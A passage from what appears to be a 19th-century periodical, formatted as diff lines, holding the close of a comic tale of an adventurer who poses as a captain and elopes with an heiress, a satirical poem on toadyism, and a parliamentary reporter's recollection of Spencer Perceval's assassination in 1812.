+enough, as you must have seen, to scare a ghost--and, in short, did not
+quit her till she had promised to meet me on the following day."
+
+"And she kept her word, no doubt?"
+
+"Yes, I have now seen her four times, and am sure that if I could but
+muster up funds enough for a Gretna-green trip,--for she has all the
+romance of a boarding-school girl,--I could carry her off this very
+night. But I cannot, Dick, I cannot;" and Sam heaved a sigh that was
+quite pathetic.
+
+"Can you not borrow of her?--'tis for her own good, you know."
+
+"Impossible! I have represented myself as a man of substance; and,
+were she once to suppose me otherwise, so quick-witted is she on money
+matters, that she would instantly give me my dismissal."
+
+"And what is your angel's name?"
+
+"Priscilla Spriggins."
+
+"My dear fellow," exclaimed Dick with a sudden burst of emotion, "from
+my soul I pity you; but, alas! sympathy is all I have to offer:--look
+here!" and, turning his empty pockets inside out, he displayed two holes
+therein, about as big as the aperture of a mousetrap.
+
+An expressive pause followed this touching exhibition; shortly after
+which the two adventurers parted,--Sam returning towards London, with a
+view, no doubt, of seeking, like Apollyon, "whom he might devour;" and
+Dick remaining where he was, casting ever and anon a glance towards the
+house where the fair Priscilla vegetated, and meditating, the while, on
+the revelation that had just been made to him.
+
+Tired at length of reverie, he rose from the bench, and made his way
+back into Hampstead,--slowly, for every step was bringing him nearer the
+residence of his unreasonable landlady. On passing down by Mount Vernon,
+he beheld the walls on either side of him placarded with hand-bills
+announcing that an auction was to take place that day at a large old
+family mansion (the by-streets of Hampstead abound in such) close by:
+and, on moving towards the spot, he saw, by the groups of people who
+were lounging at the open door, that the sale had already begun. By way
+of killing an idle half-hour or so, Dick entered; and, elbowing his way
+up stairs, soon found himself in a spacious drawing-room, crowded with
+pictures, vases, old porcelain, and other articles of _virtù_.
+
+Just at that moment the auctioneer put up a landscape painting by one of
+the old masters, on which he expatiated with the customary professional
+eloquence. "Going, ladies and gentlemen, going for two hundred
+pounds--undoubted Paul Potter--highly admired by the late lamented
+Lawrence--sheep so naturally coloured, you'd swear you could hear 'em
+bleat--frame, too, in excellent condition--going--going----"
+
+"Two hundred and thirty!" said a small gentleman in spectacles, raising
+himself on tip-toe to catch the auctioneer's eye.
+
+"Two hundred and fifty" shouted another.
+
+"Going for two hundred and fifty," said the man in the rostrum; after
+a pause, "upon my word, ladies and gentlemen, this is giving away the
+picture. Pray look at that fore-shortened old ram in the background;
+why, his two horns alone are worth the money. Let me beg, for the honour
+of art, that----"
+
+"Three hundred!" roared Dick, with an intrepid effrontery that extorted
+universal respect,--for to his other amiable qualities he added that of
+being a "brag" of the first water, and was proud, even though it were
+but for a moment, of displaying his consequence among strangers.
+
+As this was the highest bidding, the picture was knocked down to our
+hero, who, having cracked his joke, and gratified his swaggering
+propensities, was about to beat a retreat, when he found his elbow
+twitched by a nervous, eager little man,--a duodecimo edition of a
+virtuoso,--who had only that moment entered the room.
+
+"So you have purchased that Paul Potter, sir, I understand," said the
+stranger, wiping the perspiration from his bald head, and evidently
+struggling with his vexation.
+
+Dick nodded an affirmative, not a little curious to know what would come
+next.
+
+"Bless my soul, how unlucky! To think that I should have been only five
+minutes too late, and such a run as I had for it! Excuse the liberty
+I am taking, but have you any wish to be off your bargain, sir?--not
+that I am particularly anxious about the picture--I merely ask for
+information; that's all, sir, I assure you," added the virtuoso, aware
+that he had committed himself, and endeavouring to retrieve his blunder.
+
+Dick cast one of his most searching glances at the stranger; and,
+reading in his countenance the anxiety he would fain have concealed
+under a show of indifference, said in his slyest and most composed
+manner, "May I beg to be favoured with your name, sir?"
+
+"Smithson, sir,--Richard Smithson, agent to Lord Theodore Thickskull,
+whose picture-gallery I have the honour of a commission to furnish;
+and happening to read a day or two ago in the "Times" that a few old
+paintings were to be disposed of by auction here on the premises, I
+thought, perhaps----"
+
+"Indeed! That alters the case," replied our hero with an air of
+dignified courtesy, "for I have some slight acquaintance with his
+lordship myself."
+
+"Bless my soul, how odd!--how uncommon odd! Possibly, then, for my
+lord's sake, you will not object to----"
+
+"No," replied Dick smiling, "I did not say that."
+
+"Rely on it, sir," continued the fidgety little virtuoso, "you are
+mistaken in your estimate of that painting. They say it is a Paul
+Potter; but it's no such thing--no such thing, sir."
+
+"Then why are you so anxious to get possession of it?"
+
+"Who? I, sir? Bless my soul, I'm not anxious. I merely thought that
+as his lordship was particularly partial to landscapes, he might be
+tempted, perhaps, to give more--"
+
+"Well," said Dick, eager to bring the matter to a conclusion, "as I have
+no very pressing desire to retain the picture, though it is the very
+thing for my library in Mount-street, you shall have it; but on certain
+conditions."
+
+"Name them, my dear sir, name them," said the virtuoso, his eyes
+sparkling with animation.
+
+"I have bought the painting," resumed Dick, "for three hundred guineas;
+now, you shall have it for six hundred. You see I put the matter quite
+on a footing of business, without the slightest reference to his
+lordship."
+
+"Six hundred guineas! Bless my soul, impossible!"
+
+"As you please," replied our hero with exquisite nonchalance; "I am
+indifferent about the matter."
+
+"Say four hundred, sir."
+
+"Not a farthing less. The pictures in this house, as the advertisement
+which brought me up here at this unseasonable hour, before I had
+even time to complete my toilette, justly observes, have been long
+celebrated, and----"
+
+"I'll give you five hundred," replied Smithson, cutting short Dick's
+remarks.
+
+"Well, well, for his lordship's sake----"
+
+"Good!" exclaimed the virtuoso; and hurrying Dick to a more quiet corner
+of the room, he took out pen and inkhorn, wrote a check on a West-end
+banker for the amount of the balance, thrust it into his hand, and then,
+after assuring him that he would arrange everything with the auctioneer,
+and would not trouble him to stay longer, hurried away towards the
+rostrum, as though he feared our hero would repent the transfer of a
+painting for which he himself imagined he should be able to screw about
+eight hundred pounds out of his lordship, who was remarkable for the
+readiness with which he paid through the nose.
+
+No sooner had Dick lost sight of Mr. Smithson, than away he flew from
+the house, bounding and taking big leaps like a ram, till he reached
+the main street, when, changing his exultant pace for a more sober
+and gentlemanlike one, he hailed the Hampstead coach, which was about
+leaving the office, snugly ensconced himself inside, and within the hour
+was deposited at Charing-cross.
+
+"Coachman," quoth our hero, as the Jehu, having descended from his box,
+held out his hand to receive the usual fare, "I am rather delicately
+situated."
+
+"Humph!" replied the man, who seemed perfectly to comprehend, though not
+to sympathise with, the delicacy of the case, "sorry for it; but master
+always says, says he----"
+
+"The fact is," continued Dick, interrupting what bade fair to become a
+prolix Philippic, "though I have not a farthing in my pocket, having
+forgotten to take out my purse this morning, yet as I am just going
+to receive cash for a two hundred pound cheque, and shall return with
+you to Hampstead, I presume the delay of an hour will make no great
+difference."
+
+The coachman, whose white round face usually beamed with all the bland
+expression of a turnip, evinced symptoms of an uneasy distrust at this
+speech; but when Dick exhibited the cheque--not relishing the idea of a
+"bolt," long experience having no doubt taught him that coachmen running
+after a fare are apt to run with most inconvenient velocity--when,
+I say, Dick exhibited this convincing scrap of paper, all Jehu's
+suspicions vanished, and, touching the shining edge of his hat, he
+absolved our hero from extempore payment, with a bow that might have
+done honour to a Margate dancing-master.
+
+This knotty point settled, the ingenious Richard next posted off in a
+cab to the banker's,--for it was beneath his dignity to walk,--presented
+his cheque, received the amount, placed it securely in his waistcoat
+pocket, and then made all possible haste to a well-known shop in the
+neighbourhood of Piccadilly, where every item necessary to perfect the
+man of fashion may be procured at a minute's notice.
+
+Our hero entered the shop in a condition bordering upon the shabby
+genteel, though his person and address were a handsome set-off against
+the infirmities of his apparel: he came out dressed in the very height
+of ton. The hue of his linen was unimpeachable; his pantaloons fitted
+to a miracle; his coat was guiltless of a wrinkle. Then his gay, glossy
+silk waistcoat, to say nothing of--but enough; the metamorphosis was
+complete--the snake had cast its skin--the grub was transformed into the
+butterfly.
+
+But, startling as was the change which his Hampstead speculation had
+wrought in his person, still more so was its effect on his mind. Here
+an entire revolution was already in full activity. Vast ideas fermented
+in his brain. He no longer crept along with the downcast look of an
+adventurer, but stared boldly about him, as one conscious that he was
+somebody. And so he was. It is not every one who cuts a figure at the
+West-end that can boast of the possession of two hundred pounds!
+
+On his road back to Charing-cross, the first object which caught our
+hero's eye was the Hampstead coach preparing to set out on its return.
+The sight brought to his recollection the fair Priscilla Spriggins; and
+in an instant, with the decision of a Napoleon, he resolved to make a
+"Bold Stroke for a Wife," and carry her of to Gretna that very night.
+The scheme was hopeless, you will say: granted; but Dick was formed to
+vanquish, not be vanquished by, circumstances. "Faint heart never won
+fair lady," said he; "so here goes;" and in he popped.
+
+It was now about two o'clock, the hour when the fair inhabitants of
+our cockney Arcadia are in the habit of taking the air on the Heath,
+some with work-bags, some with the "last new novel," but the majority
+with "Bentley's Miscellany" in their hands. Dick no sooner reached the
+donkey-stand, than he seated himself on a bench close by,--where two
+young ladies were standing, fondly imagining that they beheld Windsor
+Castle through a spyglass,--and looked anxiously about him, to see if he
+could detect Miss Spriggins among the peripatetics. But no Priscilla was
+visible. How, therefore, should he act? "Wait," said common sense; so
+Dick waited.
+
+Half an hour had elapsed, and he was beginning to get impatient, when
+suddenly, on casting his eyes towards the lady's house, he saw the door
+open, and Miss Spriggins herself stepped forth, with a novel in one
+hand, and a pea-green parasol in the other. Dick watched her motions as
+a cat watches a mouse: saw her steal away towards a retired quarter of
+the Heath, and, having made up his mind as to the line of conduct he
+should pursue, started from his seat and followed quickly in her wake.
+
+On reaching her side, "Miss Spriggins, I presume?" said he with a
+profound obeisance.
+
+"The same, sir," replied the surprised Priscilla.
+
+"Ah! madam," resumed Dick, bursting at once into a sentimental vein,
+for he felt that every minute was precious, "happy am I to see that
+enchanting face once more."
+
+"Excuse me, sir," said Miss Spriggins, affecting to bridle up; "but
+really I do not comprehend----"
+
+"Comprehend, madam!--and how should you? I scarcely comprehend myself.
+But how should it be otherwise, when for weeks past I have daily
+wandered over this romantic heath, hoping, but, alas! in vain, to
+catch one stray gleam of that sunny beauty which last April--how well
+I remember the date!--so riveted my fancy as it flashed on me from
+the front drawing-room of yonder house;" and Dick pointed towards
+Priscilla's dwelling.
+
+"Really, sir, this language----"
+
+"Is the language of frenzy, maybe; but it is the language also of
+passion. Ah! madam, if you but knew the flame that that one casual
+glimpse of your bewitching countenance lit up in my unhappy heart,
+you would pity what I now feel. Would to God that you were as much a
+stranger to me as I am to you, for then I should cease to be the wretch
+I am;" and Dick, having no onion ready, turned away his head, and
+covered his face with his handkerchief.
+
+"Sir," replied Miss Spriggins, startled, yet far from displeased, "I
+really know not what answer to make to this most extraordinary----"
+
+"Extraordinary, madam? Is it extraordinary to admire beauty--to
+reverence perfection--to live but in the hope of again seeing her who,
+once seen, can never be forgotten--is this extraordinary? If so, then am
+I the most extraordinary of men. Revered Priscilla,--Miss Spriggins, I
+should say,--your beauty has undone me. I should have joined my regiment
+at Carlisle ere now; but you, and you only, have kept me lingering in
+this sylvan district. Ah, lady! Captain Felix O'Flam was happy till he
+saw you,--happy, even though deceived by one whom he once thought his
+friend."
+
+The fair Priscilla, whose predominant infirmity, as has been before
+observed, was an indigestion of celibacy, could not witness the
+affliction of the dashing young man before her, without sympathising
+with him; perceiving which, Dick continued, "I see you pity me, lady,
+and your pity would be still more profound did you know all. It is
+no later than last week that I became acquainted with the arts of an
+adventurer named Spragge, who, for months previously, having wormed
+himself into my confidence, had led me to believe that----"
+
+"Spragge!" interrupted Miss Spriggins with a look of huge dismay; "and
+pray what sort of a person may he have been?"
+
+In reply, Dick described Sam to the life; whereupon his companion, no
+longer able to conceal her rage, exclaimed abruptly, "The wretch!--what
+an escape have I had!"
+
+"Escape, madam! How so? Has the villain dared to deceive you, as he has
+me? I know that he is one of those plausible, unprincipled adventurers
+about town, who make a point of preying on the unwary--and such he must
+have considered me, when he introduced himself one morning as a relation
+of the commanding officer of my regiment;--but that he should have
+presumed to----"
+
+"Oh no, captain," replied Miss Spriggins with evident embarrassment; "I
+was never his dupe. He merely called,--if indeed it be the same person,
+as I feel convinced it is,--one day last week at my brother's, on some
+pretence or other, which--which--But I have done with him, the monster!"
+
+"Call on you, madam!" replied Dick, adroitly giving in to the lady's
+little deviation from fact, "call on you, when _I_ dared not approach
+your threshold! But enough--I'll cut his throat!"
+
+"No, no, captain; believe me, he is unworthy of your revenge."
+
+"You say right, madam; for, since I have found reason to suspect him,
+I have instituted inquiries into his character, and am told that he is
+beneath contempt. Why--would you believe it?--the fellow has been twice
+ducked in a horse-pond, for thimble-rigging, at Epsom,--flogged at the
+cart's tail for petty larceny, rubbed down with vinegar and set in the
+black-hole to dry."
+
+"Mercy on us! you don't say so?"
+
+"Fact. But to quit this unworthy theme, and revert to a more pleasing
+one:--May I, lady,"--and Dick here put on his most wheedling air,--"may,
+I, having at length been honoured with one interview with you, presume
+to hope for a second? Say only that we may again meet,--nay, that this
+very evening we may take a stroll together through these sequestered
+shades,--and make me the happiest of men. Alas! I once thought that
+fortune alone was necessary to constitute felicity; but, now that I
+have _that_, I feel 'tis as nothing; and that love,--disinterested,
+impassioned love,--is the main ingredient in the cup of human bliss.
+Give me but the woman I adore, and I ask--I expect nothing further; but
+wealth without her is a mere mockery."
+
+This rhapsody had more effect on his companion than anything Dick had
+yet said. It was a shot between wind and water.
+
+"Oh, captain!" replied Priscilla, "I appreciate your generous
+sentiments; and, to convince you that I am not unworthy to share them,
+will--however strange it may appear in a young and timid female--consent
+to see you once more. But, remember, it must be our last interview;" and
+she sighed,--and so did Dick.
+
+"Adieu, then, idol of my soul! if so I may presume to call you,"
+exclaimed this ingenuous young man; "adieu, till the shades of twilight
+lengthen along the horse-pond hard by the donkey-stand, when we will
+meet again, and the thrice-blessed Felix----" Dick stopped: seized the
+lady's hand, which she faintly struggled to withdraw; imprinted on it
+a kiss that "came twanging off," as Massinger would say; and then tore
+himself away, as if fearful of trusting himself with farther speech.
+
+On quitting Priscilla's side, Dick rattled across the fields to
+Highgate, wondering at the success that had thus far crowned his
+efforts. "Will she keep her appointment?" said he. "Yes, yes; I see it
+in her eye. The 'captain' has done the business; never was there so
+conceited an old lass!" and, thus soliloquizing, he found himself at the
+door of the best hotel in Highgate, strutted into the coffee-room, and
+rang the bell for the waiter.
+
+The man answered his summons, cast a shrewd glance at his exterior, and,
+satisfied with the scrutiny, made a low bow, prefaced by a semicircular
+flourish of his napkin.
+
+"Waiter," said Dick, with the air of a prince, "show me into a private
+room, and let it be your best."
+
+"Please to follow me, sir," replied the man; and, so saying, he ushered
+our hero into a spacious apartment, which commanded a picturesque view
+of a brick-field, with a pig-sty in the background.
+
+"Good!" said Dick, and throwing himself full-length on a sofa, he
+ordered an early dinner, cold, but of the best quality, together with
+one bottle of madeira, and another of port, by way of appendix.
+
+Well; the dinner came, wine ditto, and both were excellent. Glass
+after glass was filled and emptied, and Dick felt his spirits mounting
+into the seventh heaven of enjoyment. His thoughts were winged; his
+prospects radiant with the sunny hues of hope. The fair Priscilla was
+his own,--his grievances were at an end,--and he henceforth could snap
+his fingers at fate. Happy man!
+
+Having despatched his madeira, and two or three supplementary glasses
+of port, so that one bottle might not be jealous of the attentions paid
+to the other, Dick summoned the waiter into his presence, paid his bill
+like a lord, and concluded by ordering a post-chaise and four to be
+ready for him within two hours in a certain lane which he specified, and
+which led off the high-road a few yards beyond the turnpike. Of course
+the man understood the drift of this order. Dick, however, took no
+notice of his knowing simper; but, telling him that he should return in
+a short time, stalked from the hotel as if the majesty of England were
+centred in his person.
+
+On returning to the Heath, he found, as he had expected, the fair
+Priscilla awaiting his advent by the horse-pond. She received him with
+a blush, to which he replied by a squeeze; and then, emboldened by the
+wine he had drunk, went on in a strain of high-flown panegyric which
+rapidly thawed the heart of the too susceptible Miss Spriggins. Dick
+was not the lad to do things by halves. Neck or nothing was his motto;
+and accordingly, before he had been ten minutes in company with his
+fair one, he had succeeded in drawing from her a confession that she
+preferred him to all the suitors she had ever had. This point gained,
+our hero adroitly changed the conversation; talked of his prospects when
+his father's estates in the North should come into his possession; of
+his friend Lord Theodore Thickskull, to whom he should be so proud to
+introduce his Priscilla; and of his intention to sell out of the army
+the instant she consented to be his.
+
+Thus chatting, Dick--accidentally, to all appearance--drew his companion
+on towards Highgate, when, suddenly putting on a look of extreme wonder,
+he exclaimed, "Who'd have thought it! We are close by the Tunnel. Ah!
+dearest Priscilla, you see how time flies when we are with those we
+love! And, now that you are here, my angel, you cannot surely refuse to
+honour my hotel with your presence. Nay, not a word; it is hard by, and
+I am sure you must be fatigued after your walk."
+
+The lady protested that she could not think of entering an hotel with a
+single man. She did, however; and was so favourably impressed with the
+respect shown to Dick by the waiter, who with his finger beside his nose
+implied that all was ready, that had she ever harboured distrust, this
+circumstance alone would have effectually banished it from her mind.
+
+No sooner had the parties entered Dick's private apartment, than, strange
+to tell, they beheld a bottle of port wine standing on the table.
+And, lo! there also were two glasses! Of course our hero could not
+but present one to Priscilla, who received it, nothing loth, though
+affecting extreme coyness. Its effects were soon visible. Her bleak
+blue nose assumed a faint mulberry tinge, her eyes sparkled, and she
+simpered, languished, and ogled Dick, sighing the while, with a sort
+of die-away sensibility, intended to show the extreme tenderness of
+her nature. These blandishments, which our hero returned with compound
+interest, were, however, soon put an end to, by the lady's suddenly
+rising, and requesting him to _chaperon_ her home, as it was getting
+late, and her brother would be uneasy at her absence. Dick complied,
+though with apparent reluctance, and, as he passed through the hall with
+Priscilla hanging on his arm, he could see the landlady peeping at him
+through the yellow gauze blinds of the tap-room window.
+
+It was now confirmed twilight; the dicky-birds were asleep in their
+nests; the Highgate toll-bar looked vague and spectral in the gloom;
+and nought disturbed the solemn silence of the hour, save the pot-boys
+calling "Beer!" at the cottages by the road-side. As Dick rambled on,
+under the pretence of leading Miss Spriggins by a short cut home,
+his thoughts took the hue of the season, and he became pensive and
+abstracted. He looked at Priscilla, and sighed; while she reciprocated
+the respiration, heaving up from the depths of her oesophagus a sigh
+that might have upset a schooner. And thus the enamoured pair pursued
+their walk, Dick every now and then squeezing his companion's hand
+with the gentle compression of a blacksmith's vice. 'Twas a spectacle
+gratifying to a benevolent heart, the sight of those devoted lovers,
+so wrapt up in each other as to be regardless of the extraordinary
+beauties of the picturesque scenery about them. The dog-rose bloomed in
+the hedge, but they inhaled not its fragrance. The ducks quacked in the
+verdant ditch beside their path, but they heeded not their euphonious
+ejaculations. Their own sweet thoughts were enough for them. Surrounding
+nature was as nought,--they seemed alone in creation,--the sole denizens
+of Middlesex!
+
+By this time the moon had climbed the azure vault of heaven; the last
+Omnibus had set down the last man; when lo! before he was aware of
+his contiguity, Dick found himself close by the turnpike. 'Twas a
+critical moment; but the young man was desperate, and desperation
+knows no impossibilities. Changing the sentimental tone he had hitherto
+adopted, he burst into the most frenzied exclamations of grief; stated
+the necessity he was under of immediately joining his regiment at
+Carlisle, which he should have done long before had not his love for
+Priscilla kept him lingering in the vicinity of Hampstead; that he had
+not the heart to state this before; but, now that he had explained his
+situation, he felt that he should not survive the shock of a separation.
+"There," said he, pointing to the carriage, which was but a few yards
+off, "there is the detested vehicle destined to bear me far from thee!
+Why had I not the candour to explain my position till this moment?
+Alas! who, situated as I am, could have acted otherwise? Lady, I
+love--adore--doat--on you to distraction! Let us fly, then, and link our
+fates together. You speak not, alas!"
+
+"Good Heavens!" replied the bewildered Miss Spriggins, "impossible! What
+would the world say? Oh fie, Captain Felix!--to think that I should have
+been exposed to----"
+
+"Come, Priscilla,--my Priscilla,--and let us hasten to be happy. The
+respected clergyman at Gretna ----"
+
+"An elopement!--Monstrous!--Oh! that I should have lived to hear such a
+proposition!"
+
+Need the sequel be insisted on? Dick wept, prayed, capered, tore his
+hair, and acted a thousand shrewd extravagances; swore he would hang
+himself to the toll-bar, or cut his throat with an oyster-knife, if his
+own dear Priscilla did not consent to unite her destiny with his; and,
+in fact, so worked upon the damsel's sensibilities, that she had no help
+for it but to gasp forth a reluctant consent. An instant, and all was
+ready for departure. Crack went the whip, round went the wheels, and
+away went the fond couple to Gretna-green, rattling along the high north
+road at the rate of fourteen miles an hour!
+
+Thus he who at nine o'clock in the morning was an adventurer without a
+sixpence in his pocket, by the same hour in the evening was a gentleman
+in possession of a woman worth eight hundred pounds _per annum_!--Gentle
+reader, truth is strange,--stranger than fiction.
+
+
+
+
+     THE MAN WITH THE TUFT.
+     BY THOMAS HAYNES BAYLY.
+
+              I.
+    I ever at college
+      From commoners shrank,
+    Still craving the knowledge
+      Of people of rank:
+    In my glass, my lord's ticket
+      I eagerly stuffed;
+    And all call'd me "Riquet,"
+      The man with the Tuft.
+
+             II.
+    My patron! most noble!
+      Of highest degree!
+    Thou never canst probe all
+      My homage for thee!
+    Thy hand--oh! I'd lick it,
+      Though often rebuff'd;
+    And still I am "Riquet,"
+      The man with the Tuft!
+
+            III.
+    Too oft the great, shutting
+      Their doors on the bold,
+    Do deeds that are cutting,
+      Say words that are cold!
+    Through flattery's wicket
+      _My_ body I've stuff'd,
+    And _so_ I am "Riquet,"
+      The man with the Tuft!
+
+             IV.
+    His lordship's a poet,
+      Enraptured I sit;
+    He's dull--(and I know it)--
+      _I_ call him a wit!
+    His fancy, I nick it,
+      By me he is puff'd.
+    And still I am "Riquet,"
+      The man with the Tuft!
+
+
+
+
+                  THE MINISTER'S FATE.
+                  A SKETCH OF THE PAST.
+
+Now that the session of parliament is fairly set in, and occupying
+public attention, sketches and recollections of public orators, with
+touches at the gallery M.P.'s, or "gentlemen of the fourth estate," as
+the reporters have been termed, will of course become redundant; but for
+scribblers who have known St. Stephen's only a session or two to attempt
+a thing of this sort, so as to satisfy those who take a real interest
+in the doings of the senate, is out of the question. To deal with such
+matters properly, a man, as Pierce Egan says of the important mysteries
+of boxing and slang, "must be brought up to the business from a _young
+'un_."
+
+It is not my purpose to deal with matters of the day. My sketches might
+go a quarter, or probably half a century back: Graham's celestial bed,
+Mr. Dodd's execution, and Lord George Gordon's riots, will scarcely be
+out of my reach. Though I set off with what relates to the House of
+Commons, from having known many of the distinguished writers who have at
+various periods laboured there, other scenes will occasionally recur to
+me, which it may be worth while to bring, with the details none but an
+eyewitness can give, before the reader.
+
+I did not, however, know, but from reading of them in the newspapers,
+the parliamentary orators of my time, till after the opening of the
+present century. The last stars of a galaxy admitted to be of more
+than ordinary splendour, had not yet faded when I made my debut in the
+gallery of St. Stephen's Chapel: Pitt and Fox, Lord North and Burke,
+had "shuffled off this mortal coil;" but Wyndham, and Sheridan, and
+Tierney remained. Of them and of their latter contemporaries I have many
+recollections; some of which, as they are connected with matters of
+historical interest, it may be entertaining at least, to recall. It will
+not be important to observe strict chronological order, so each scene
+is kept by itself, the colouring not exaggerated and every fact related
+with a scrupulous regard to sacred truth.
+
+Shades of the departed, how ye rise to "my mind's eye" as I prepare to
+enter on my task! On the right, as we looked from the gallery of the
+old House, that is, to the left of the Speaker's chair, I see Ponsonby,
+with his portly form, white hair, and red chubby countenance; Wyndham,
+a tall, spare figure, and a head partially bald; Tierney, with his
+lowering brow, apparently waiting to spring on his ministerial victim;
+Sheridan, exhibiting an aspect but too indicative of the thoughtless
+career he pursued; Romilly, maintaining an air of solemn dignity, with
+an appearance of exhaustion from severe mental toil; Whitbread, robust,
+shrewd, and never weary; his deportment might have passed for that
+of a blunt, resolute farmer. Always at his post; during the session,
+the House of Commons was his home. Opposed to these I see the keen,
+sarcastic, and animated Perceval. He had a bright penetrating eye, and a
+nose rather inclining upwards, which the H. B.'s of 1807 converted into
+a most ludicrous pug nose; his figure was small, and he had little hair
+on the crown of his head; but he wore a long thin queue behind, which
+in debate, from the vivacity of his manner, was continually showing
+itself over one or other shoulder. Near him sat Castlereagh. He boasted
+an elegant figure and handsome countenance, and often carried the polish
+of the drawing-room into the tumult of political warfare, but sometimes
+abruptly dropped it, to strike the table or the box before him with
+almost farcical violence. The capacious forehead and fine features of
+Canning were generally by his side. The well-powdered head of Old George
+Rose was seldom very distant, and the bald shining skull of "Brother
+Bragge," as Mr. Bragge Bathurst had been facetiously called by Canning,
+was one of the group.
+
+Memory now turns to the gentlemen up-stairs in the gallery; nor ought
+these to be thought beneath some notice, remembering how many have
+since descended into the House to furnish occupation to their reporting
+posterity. Woodfall formerly sat at the right hand corner of the front
+of the gallery, on the seat which was what a goose is for a meal, "too
+much for one, but too little for two,"--I mean the continuation of the
+member's bench. He commonly held a gold-headed cane in his hand, which
+he continually turned round one way when listening to a speech, and then
+caused it to revolve the other way attending to the reply. The smiling
+suavity of Hogan, the dry good-humour of Donovan, (these gentlemen went
+out chief justice and judge advocate to Sierra Leone, where they died,)
+the severe glance of Keating, the gracious swagger and laugh of Edward
+Quin, the "amiable obliquity of vision" of Peter Finnerty, the ardent
+gaiety of Power, and the overflowing merriment of the senior Dowling,
+all seem to return, with the peculiarities of many others, who, like
+them, are no more, and those of a much greater number who fortunately
+survive.
+
+The consequences of a war of unexampled length were severely felt in
+1812, and much of the distress which then prevailed was affirmed to have
+been produced by our own "orders in council," issued to meet the decrees
+of Bonaparte. Earl Grey was their strenuous and persevering opponent.
+A parliamentary inquiry into their operation was instituted. In the
+Commons Mr. Whitbread greatly exerted himself in support of the views
+of his noble friend Earl Grey, and the investigation was entered upon
+by the whole House in committee. The interminable examinations which
+followed, exhausted public curiosity to such a pitch, that the gentlemen
+of the press had instructions not to report them. In consequence of
+this, when the order of the day was moved for going into the committee,
+they closed their books, entered into conversation, and sometimes even
+left the House.
+
+The gallery was at that time on such occasions nearly deserted; two or
+three reporters indolently reclining on their seats, and from twelve to
+twenty visitors were all the audience the subject commanded.
+
+Of the last-mentioned individuals, some few, from their own interests
+being affected by the matter under inquiry, went to the house frequently
+enough to get in some degree acquainted with the writers; and among them
+was one gentleman who usually took his place on the back seat, though
+he was always ready to resign it to those who, as they went there for
+business, and not for pleasure, considered that they had a right to
+claim it as their own. There was something singular in this person's
+manner; and the eagerness with which he surveyed the members, by means
+of an opera-glass, often excited the mirth of his waggish neighbours.
+He asked many questions, but timed them so well, and always deported
+himself with so much respectful good-humour, that any information he
+desired was readily given.
+
+One fine summer's afternoon I and some other tired visitors to the House
+availed ourselves of the leisure which the sitting of the committee
+afforded, to enjoy a walk on the banks of the river. On our return,
+near Milbank, a person who had some knowledge of us inquired if we
+had heard that a duel had taken place between the Earl of Liverpool
+and Mr. Perceval, in which the latter had fallen. We laughed at the
+improbability of the story, but were seriously assured that we should
+find it true. Still incredulous, we said we would soon ascertain the
+fact, and accordingly advanced to Palace Yard. There the closed gates,
+the crowd assembled outside, and the information communicated by a
+thousand tongues, soon placed it beyond all doubt that the minister
+was no more, having within the last hour been shot, not by his noble
+colleague, but by a stranger named Bellingham.
+
+Mr. Perceval was in the habit of coming down to the House about five
+o'clock. On this day it was a quarter past that hour, when, as he
+entered the lobby, he was shot through the heart. He staggered a few
+paces, fell against one of the pillars, and almost immediately expired.
+The assassin was instantly seized and taken to the bar of the House,
+where a crowd of persons, members and strangers mixed in extreme
+confusion, assembled round him; and as soon as an attempt at restoring
+order could be made, the Speaker directed Mr. Whitbread and other
+members to precede and follow the prisoner to a place of safe custody.
+This was done, and these facts were generally known to the multitude,
+which now beset all the avenue leading to the two Houses.
+
+From mouth to mouth the mournful tidings flew with unexampled rapidity.
+The very prominent situation in which Mr. Perceval stood, the active
+and important business he was daily seen engaged in, made men almost
+seem to doubt if it were possible that such a career could so suddenly
+be closed for ever. The rumours sent forth had the same effect on every
+one they reached, I might almost say, that it has been shown they had on
+me and my companions. All who heard that the right honourable gentleman
+was dead, seemed to determine instantly to verify the fact by repairing
+to Westminster. It was about a quarter past five in the afternoon of
+the 11th of May that Mr. Perceval was shot in the lobby of the House,
+and, by six, countless thousands poured down the Strand and all the
+streets leading to Charing Cross. Second editions of the evening papers
+were got out with astonishing expedition; and, by the time I have
+mentioned, one had been carried so far towards Westminster as the end
+of Parliament-street, opposite Downing-street. The extreme eagerness of
+every one to know all that could be known, I remember, instantly got a
+crowd round the bearer of it. Ownership and ceremony were not thought
+of: every one who could get hold of the much-coveted broad sheet,
+considered that he had a right to it. I, among a host of intruders,
+saw there, in the manner described, the first connected detail of the
+catastrophe.
+
+As the night closed in, the crowd became immense, and some discreditable
+exultation was expressed by the lowest of the mob; but the general
+feeling created was that of humane commiseration and unmitigated horror.
+
+Admiring the great talents of Mr. Perceval as I did, and impressed with
+a conviction that he was most amiable in private life, my own sorrow
+was great; and I rejoiced at the thought that the murderer was in safe
+custody, and would possibly, (as the sessions were about to commence,)
+before a single week should have elapsed, suffer the last penalty of the
+law.
+
+Never shall I forget the spectacle which the House of Commons presented
+on the following day. Those who have been in the habit of going there,
+must have noticed with some annoyance the ceaseless murmur which
+prevails for the first hour, or hour and a half, after the Speaker has
+taken the chair, while private bills and petitions of little interest,
+are being disposed of, and papers presented at the bar. The monotonous
+repetition by the Speaker of the words, "So many as are of that opinion
+say '_aye_,' those who are of a contrary opinion say '_no_;' the ayes
+have it," on putting questions which are unopposed,--the ceaseless
+slamming of doors,--the creaking of shoes of some of those members who
+seem to delight in displaying their elegance by marching, or I might
+almost say by skating, up and down the body of the House, as if to let
+their friends, the strangers in and under the gallery, see how very
+grand it is possible for them to look,--and the frequent cry of "Order!
+order!" "Bar! bar!" from the Chair, given forth, as was then the case,
+with full-toned dignity of Mr. Speaker Abbot (the late Lord Colchester),
+altogether gave the idea of a careless, irregular assembly,--of anything
+but a place where the most important business of a great nation was to
+be transacted. Such was its usual aspect in those days; but on the 12th
+of May 1812, most widely different I found the scene. The attendance was
+unusually full, but solemn funereal stillness marked the approach of
+each member to assist in the proceedings growing out of the recent and
+melancholy fate of the minister.
+
+          "How silent did his old companions tread"
+
+on that floor over which they had so long been accustomed to pass
+with him whose fall they now lamented! Party feeling was annihilated;
+all mourned, and many wept, for the deceased, as if he had been their
+nearest, dearest friend or relative. A place on the ministerial bench
+was pointed at from the gallery as that which Mr. Perceval had been
+used to fill. I am not aware, though he generally sat nearly in the
+same place, that any precise spot was particularly reserved for him;
+and on the occasion which it is my object to recall, certainly no such
+theatrical effort at effect was made. The vacant seat was soon occupied
+by one of the late right honourable gentleman's colleagues.
+
+Not only was there the abstinence from conversation, which I have noted,
+but action--the common ordinary motions of gentlemen meeting in assembly
